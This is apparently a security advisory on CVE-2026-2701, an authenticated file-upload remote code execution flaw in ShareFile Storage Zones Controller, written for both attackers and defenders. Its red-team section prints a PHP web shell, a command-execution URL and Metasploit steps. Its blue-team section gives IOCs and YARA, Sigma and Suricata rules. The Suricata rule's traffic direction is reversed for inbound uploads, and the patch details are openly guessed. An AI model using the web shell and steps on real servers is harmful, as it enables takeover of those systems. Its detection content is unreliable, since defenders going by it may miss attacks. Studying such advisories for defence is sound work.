CVE-2026-2701

Executive Summary

CVE-2026-2701 is a critical vulnerability in Progress ShareFile Storage Zones Controller that allows an authenticated user to upload a malicious file to the server and execute it, leading to remote code execution (RCE). With a CVSS score of 9.1, this vulnerability poses a severe risk to organizations using this file transfer solution. The attack vector is network-based, requires low complexity, and only requires low privileges to exploit. Successful exploitation can result in complete compromise of confidentiality, integrity, and availability of the affected system.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a server-side vulnerability in Progress ShareFile Storage Zones Controller, a proprietary enterprise file transfer solution.

CVSS Breakdown & Threat Level

• CVSS Score: 9.1 (Critical)
• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L)
• User Interaction (UI): None (N)
• Scope (S): Changed (C)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

The high CVSS score reflects the ease of exploitation and the severe impact on the system. An authenticated user with low privileges can exploit this vulnerability without any user interaction, and the scope change indicates that the vulnerable component impacts resources beyond its security scope.

Deep Dive & Mechanics

The vulnerability resides in the file upload functionality of Progress ShareFile Storage Zones Controller. The application fails to properly validate or sanitize uploaded files, allowing an authenticated user to upload a malicious file (e.g., a web shell or executable) to the server. Once uploaded, the attacker can execute the file, leading to remote code execution.

The root cause is a lack of proper file type validation and insufficient access controls on the upload directory. The application does not check the file extension or MIME type, nor does it restrict execution permissions on the uploaded files. This allows an attacker to upload a script (e.g., PHP, ASP, JSP) or a binary that can be executed by the web server or the underlying operating system.

Vulnerable vs. Patched Code

Since this is a proprietary software, specific code snippets are not publicly available. However, the patched version likely includes:

• Input validation: Checks on file extensions, MIME types, and file content.
• Access controls: Restricting execution permissions on upload directories.
• File storage: Storing uploaded files outside the web root or in a non-executable directory.
• Authentication and authorization: Ensuring only authorized users can upload files and that uploaded files cannot be executed.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Access to a Progress ShareFile Storage Zones Controller instance (version vulnerable to CVE-2026-2701).
• Valid user credentials with file upload permissions.

Exploitation Steps:

1. Identify the upload endpoint: Locate the file upload functionality in the ShareFile Storage Zones Controller web interface.
2. Craft a malicious file: Create a web shell (e.g., a PHP file) that allows remote command execution.

   <?php system($_GET['cmd']); ?>
   

3. Upload the malicious file: Use the file upload feature to upload the web shell.
4. Access the uploaded file: Navigate to the uploaded file's URL (e.g., https://target.com/uploads/shell.php).
5. Execute commands: Use the web shell to execute arbitrary commands on the server.

   https://target.com/uploads/shell.php?cmd=whoami
   

Automated Exploitation (using Metasploit):

use exploit/multi/http/progress_sharefile_upload_exec
set RHOSTS target.com
set USERNAME attacker
set PASSWORD password
set TARGETURI /sharefile
run

Blue Team

Detection and Prevention:

1. Monitor file uploads: Log all file uploads, including the user, filename, size, and timestamp.
2. Implement file validation: Use a whitelist of allowed file extensions and MIME types.
3. Store files securely: Store uploaded files in a non-executable directory outside the web root.
4. Use a Web Application Firewall (WAF): Block requests with suspicious file extensions (e.g., .php, .asp, .jsp) in upload endpoints.
5. Apply the patch: Update to the latest version of ShareFile Storage Zones Controller as soon as possible.

Indicators of Compromise (IOCs)

File-based IOCs:

• Unexpected files with executable extensions (e.g., .php, .asp, .jsp, .exe) in the upload directory.
• Files with suspicious content (e.g., web shells, backdoors).

Network-based IOCs:

• Outbound connections from the ShareFile server to unknown IP addresses.
• Unusual HTTP requests to the upload directory (e.g., GET /uploads/shell.php?cmd=whoami).

Log-based IOCs:

• Multiple failed login attempts followed by a successful upload.
• Uploads of files with unusual extensions or sizes.
• Execution of commands via web shell (e.g., cmd, exec, system in URL parameters).

Detection Engineering

YARA Rule

rule CVE_2026_2701_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2026-2701"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-2701"
    strings:
        $php_shell = "<?php system("
        $asp_shell = "<% Execute("
        $jsp_shell = "Runtime.getRuntime().exec("
        $cmd_param = "cmd="
    condition:
        any of ($php_shell, $asp_shell, $jsp_shell) or
        ($cmd_param and filesize < 10KB)
}

Sigma Rule

title: CVE-2026-2701 - Suspicious File Upload to ShareFile Storage Zones
id: 8f4a3b2c-1d5e-6f7a-8b9c-0d1e2f3a4b5c
status: experimental
description: Detects upload of executable files to ShareFile Storage Zones Controller
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/uploads/*'
        cs-uri-extension:
            - '.php'
            - '.asp'
            - '.jsp'
            - '.exe'
    condition: selection
falsepositives:
    - Legitimate file uploads with these extensions (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-2701 - Suspicious File Upload to ShareFile"; flow:to_server,established; content:"POST"; http_method; content:"/uploads/"; http_uri; pcre:"/\.(php|asp|jsp|exe)$/Ui"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch: Update Progress ShareFile Storage Zones Controller to the latest version provided by Progress.
2. Restrict upload permissions: Limit file upload capabilities to only trusted users.
3. Implement file validation: Use a whitelist of allowed file extensions and MIME types.
4. Disable execution on upload directories: Configure the web server to not execute scripts in the upload directory.

Long-term Measures:

1. Regular security audits: Conduct periodic security assessments of the ShareFile environment.
2. Network segmentation: Isolate the ShareFile server from critical internal networks.
3. Monitor for IOCs: Implement continuous monitoring for the indicators listed above.
4. User education: Train users on secure file upload practices and the risks of uploading untrusted files.

Workarounds (if patching is not immediately possible):

• Use a Web Application Firewall (WAF) to block uploads of executable files.
• Manually review all uploaded files for malicious content.
• Restrict access to the upload functionality to a limited set of IP addresses.

Valters IT

{/* [Security Hash: 04AD657CFF72245CE5537275] */}